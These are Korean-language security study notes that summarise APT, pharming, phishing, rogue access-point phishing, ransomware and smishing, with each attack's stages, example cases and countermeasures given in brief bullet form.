▣ 정의 - 다양한 IT기술과 방식들을 이용해 조직적으로 경제적인 목적을 위해 다양한 보안 위협들을 생산해 지속적으로 특정대상에게 가하는 일련의 보안위협 행위 ▣ 특징 - 명확한 타겟 목표 - 우회 공격 - 지능화 - 지속적 ▣ 공격 시나리오 및 공격기법 1. 침투 : 취약점 감염 - 관찰, 사회공학, 제로데이, 수동 2. 탐색 : 정보수집 및 계획 - 다중백터, 은밀한 공격, 연구 및 분석 3. 수집 : 데이터 수집, 운영방해 - 은닉, 권한상승 4. 제어 : 데이터 전송, 파괴 - 유출, 중단 ▣ 대응기술 - 네트워크 보안 (IDS/IPS/Firewall) - 망분리 중계서버 - 클라이언트PC (End-Point PC 보안, 좀비 PC 방지 - 웹 방화벽 - 행위기반 탐지 - 데이터유출방지(DLP) - 화이트리스트 기반 보안시스템 - 보안관제서비스 - 데이터 암호화 - 데이터 접근제어 - DB Audit ▣ 대응체계 - 침해사고 대응센터(위협 모니터링/대응) - 시큐리티 대응센터(악성코드 수집/분석)
파밍 (Pharming)
▣ 정의 - 정상적인 웹 사이트 접속이 사기 목적의 웹 사이트로 연결되는 전형적인 기술적 사기 방법 ▣ 특징 - 일반 인터넷 사용자에게 익숙한 인터넷 주소 강탈 - 인터넷 사용자는 의심하지 않고 중요 개인 정보 노출 ▣ 동작원리 1) 위조 사이트 설치 2) DNS해킹 3) DNS조회 4) 가짜 사이트 접근 ▣ 공격유형 - DNS 주소의 변조 - 클라이언트 호스트 파일 변경 - 클라이언트 DNS서버설정 주소 변경 - 등록된 도메인의 정보 변경 ▣ 대응방안 - 기관은 HTTPS, EV SSL 사용 - 도메인 등록대행기관에 도메인 잠금 기능 신청 - DNS 시스템 보안 강화 - DNS 레코드에 대한 전자서명 및 검증방안고려 - 웹서버 인증서를 통한 웹사이트의 진위 여부 확인 방안 모색 - OTP 인증 활용
피싱 (Phishing)
▣ 정의 - 공신력 있는 기관을 사칭한 이메일을 이용한 사회적 사기 방법 ▣ 특징 - 사회 공학적 공격 - 주로 이메일 이용 ▣ 피싱절차 1) 피싱 메일 발송 2) 링크 사이트 클릭 3) 위조된 사이트에서 금융 정보 입력 4) 입력된 정보를 이용한 사기 ▣ 공격기법 - 유사한 이메일 주소 이용 - 유사한 도메인 이름 사용 - 이메일 주소 Spoofing - Hyperlink 위조 - 스크립트를 이용한 주소창 위조 - Popup 창을 이용 - 웹브라우저의 URL Spoofing 취약점 (%01, %00, @) - 링크 주소 Encoding - 메일 본문에 중요정보 직접입력
악성 AP를 용한 피싱 공격
▣ 취약점 - 가짜 AP : 정상 AP와 동일한 SSID를 설정한 악성 AP 생성 - 공공장소 AP : 정상여부, 설치위치 파악 어려움 - 보안관리자 부재 : 소규모 환경에서의 보안관리자 부재 - 무료 AP : 무료 AP 우선 접속 ▣ 절차 1) 악성 AP 접속 2) 사용자 정보 요구 3) 정보 남용 ▣ 시사점 - 정부 : 지식제공, 인식제고, 공공장소 보안요구사항 수립 - 사업자 : 보안사고 대응체계 수립, 보안 대책 추진 - 보안담당자 : 주기적 점검 - 사용자 : 이용 필요성 및 방법 준수 ▣ 대응방안 1) 기술적 측면 - SSID 방송 금지 - 전송정보 암호화 - 무선 인증 사용 (WPA) - 비인가 무선장비 탐지 2) 관리적 측면 - 무선랜 서비스 지역검점 - Defalut Password 변경 3) 물리적 측면 - 접근제한 ▣ 예방방법 - 링크된 금융회사 사이트 이용 금지 - 개인정보 제공 주의 - 바이러스 체크 후 첨부 오픈 - OS 보안패치, 백신 업데이트
랜섬 웨어 (Ransom + Ware)
▣ 정의 - 컴퓨터 사용자의 문서를 인질로 잡고 돈을 요구하는 기법 ▣ 특징 - 개인 단말기 감염 - 개인문서 암호화를 통한 인질 - 직접적인 금전요구 - 제한시간 등 사용자 판단을 흐리게 하는 사회공학 기법 ▣ 공격방법 - 드라이브 바이 다운로드 - 영문 이메일 전파 - 특정 메신저 전파 ▣ 사례 - 크립토락커 : 이메일/메신저 - 크립토월 : 비트코인사용, 이메일 - 레베톤 : FBI 사칭 - 우라우시 : 국가기관 사칭 - 심플락커 : 안드로이드 doc, jpg 암호화 ▣ 대응방법 - 중요한 문서에 대하여 정기적인 백업 - 출처가 불분명한 이메일 및 URL 접근 금지 - 메일의 첨부파일은 바이러스 체크 후 오픈
스미싱 (Smishing)
▣ 정의 - 문자메시지(SMS)와 피싱(Phishing)의 합성어 - 스마트폰 소액결제 방식을 악용하는 신종사기 수법 ▣ 특징 - 휴대폰 SMS 활동 감염 - 휴대폰 소액결재 인증, 대금청구 ▣ 공격단계 1) 문자 메시지 내 인터넷 URL 클릭 2) 스마트폰에 악성코드 설치 3) 범인에게 소액결재 인증번호 전송 4) 범죄자가 게임 아이템, 사이버 머니 등 구입 5) 소액결재 대금 청구(스마트폰 이용자) ▣ 대응방안 - 소액결재 차단/제한 - 백신설치 - 공인앱 설치 - 불분명한 링크 회피
